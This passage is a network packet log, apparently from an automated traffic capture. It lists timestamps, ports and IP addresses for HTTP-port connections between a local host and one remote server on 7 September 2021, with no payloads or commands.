Sep 7, 2021 16:02:37.391575098 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391578913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391592026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391602993 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391603947 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391617060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391628027 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391639948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391652107 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391664982 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391665936 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391676903 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391694069 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391715050 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391724110 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391735077 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391741991 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391760111 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391777039 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391782999 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391789913 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391809940 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391828060 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391839981 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391850948 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391863108 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391875982 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391885042 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391886950 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391899109 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391916037 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391922951 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391935110 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391952038 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391959906 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391968012 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391979933 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.391979933 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.391993046 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392004967 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392004967 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392016888 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392029047 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392030001 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392040968 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392055035 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392066956 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392077923 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392083883 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392096043 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392108917 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392121077 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392124891 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392132998 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392144918 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392155886 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392158985 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392168045 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392179966 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392189026 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:37.392191887 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392218113 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392278910 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.392487049 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.398221016 CEST	49742	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:37.463984966 CEST	80	49742	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.198102951 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.267199039 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.267457008 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.267714977 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.267749071 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.336910963 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.337255955 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.443047047 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.443289042 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.443306923 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.443341017 CEST	49743	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.494923115 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.513286114 CEST	80	49743	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.560146093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.560353041 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.560420990 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.560882092 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.627208948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.627228022 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.813395023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.813429117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.813451052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.813992023 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814017057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814040899 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814065933 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814068079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.814080954 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.814089060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814114094 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814135075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.814155102 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.814160109 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.814555883 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.879884958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.879940033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.879980087 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880037069 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880042076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880089998 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880137920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880143881 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880192995 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880245924 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880289078 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880311012 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880325079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880342960 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880388021 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880395889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880425930 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880485058 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880526066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880573034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880578995 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880589008 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880619049 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880666018 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880706072 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.880719900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.880950928 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.882003069 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.882071972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.882163048 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.945769072 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.946068048 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.946088076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:38.946760893 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:38.996077061 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.054570913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.054770947 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.054797888 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.054821014 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.054842949 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.054866076 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.055248022 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.055279016 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.055284023 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.055802107 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.055824041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.055959940 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.057266951 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057348967 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057456970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.057550907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057569027 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057696104 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.057738066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057754993 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.057821035 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058093071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058094978 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.058108091 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058345079 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.058454037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058470964 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058484077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058558941 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.058649063 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.059278011 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059310913 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059338093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059354067 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059393883 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059408903 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059423923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.059422970 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.060627937 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.060688972 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.060707092 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.060756922 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.060849905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.060884953 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.060952902 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.063273907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.105428934 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.120920897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.120953083 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.120975971 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.120997906 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121020079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121043921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121067047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121084929 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121104956 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121133089 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121177912 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121211052 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121231079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121254921 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121275902 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121292114 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121299028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121301889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121320963 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121345997 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121367931 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121370077 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121375084 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121392012 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121426105 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121428013 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121453047 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121474981 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121498108 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121509075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121514082 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121520042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121542931 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121567965 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.121609926 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.121614933 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.123230934 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123260975 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123287916 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123311043 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123357058 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.123389006 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.123609066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123636007 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123670101 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123693943 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.123733997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.123749018 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.124284029 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124313116 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124335051 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124356985 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124387026 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.124402046 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.124537945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124597073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124623060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124645948 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.124669075 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.124682903 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.125709057 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125741005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125763893 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125787973 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125809908 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125818968 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.125830889 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.125832081 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125855923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125878096 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.125945091 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.125991106 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.186448097 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186505079 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186547041 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186583996 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186661005 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186660051 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.186691999 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.186717033 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186870098 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186922073 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186960936 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.186997890 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187005997 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187021971 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187036037 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187074900 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187088013 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187184095 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187192917 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187248945 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187300920 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187342882 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187380075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187398911 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187412977 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187419891 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187447071 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187499046 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187478065 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187555075 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187599897 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187638044 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187676907 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.187696934 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187712908 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.187767029 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.188658953 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188703060 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188757896 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188812017 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188817978 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.188863039 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188894987 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.188903093 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.188952923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189004898 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189028025 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.189106941 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.189163923 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189209938 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189245939 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189285994 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189338923 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.189368963 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.189538002 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189579010 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189626932 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189670086 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.189671993 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.189750910 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.191060066 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191102028 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191163063 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191203117 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191241980 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191282034 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191323042 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191370964 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.191382885 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.191395998 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.191567898 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.191596985 CEST	49744	80	192.168.2.4	5.188.88.63
Sep 7, 2021 16:02:39.253089905 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253144026 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253184080 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253222942 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253258944 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253304958 CEST	80	49744	5.188.88.63	192.168.2.4
Sep 7, 2021 16:02:39.253335953 CEST	80	49744	5.188.88.63	192.168.2.4
